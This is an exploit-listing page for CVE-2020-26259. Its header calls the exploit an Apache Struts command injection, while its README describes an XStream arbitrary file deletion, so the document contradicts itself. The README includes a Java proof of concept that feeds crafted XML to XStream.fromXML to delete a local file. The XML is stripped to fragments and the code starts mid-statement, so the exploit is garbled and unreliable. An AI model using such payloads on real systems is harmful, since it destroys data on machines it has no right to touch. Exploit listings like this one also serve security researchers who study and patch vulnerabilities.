Sploitus

Exploit for OS Command Injection in Apache Struts

CVE-2020-26259

githubexploit · 2021-01-22

Exploit Code

README44 lines
## https://sploitus.com/exploit?id=60AF7761-B3AA-5F66-9E2C-B8FA2FDC58F6
## Description

XStream is vulnerable to an Arbitrary File Deletion on the local host when unmarshalling as long as the executing process has sufficient rights.

## Influence

Xstream \n" +
                "  \n" +
                "    \n" +
                "      0\n" +
                "      \n" +
                "        \n" +
                "          \n" +
                "            text/plain\n" +
                "            \n" +
                "              C:\\Al1ex.txt\n" +
                "            \n" +
                "          \n" +
                "          \n" +
                "        \n" +
                "        0\n" +
                "      \n" +
                "    \n" +
                "    test\n" +
                "  \n" +
                "";

        XStream xstream = new XStream();
        xstream.fromXML(xml_poc);
    }

}
~~~

Result:

![result](img/result.jpg)



## Reference

https://x-stream.github.io/CVE-2020-26259.html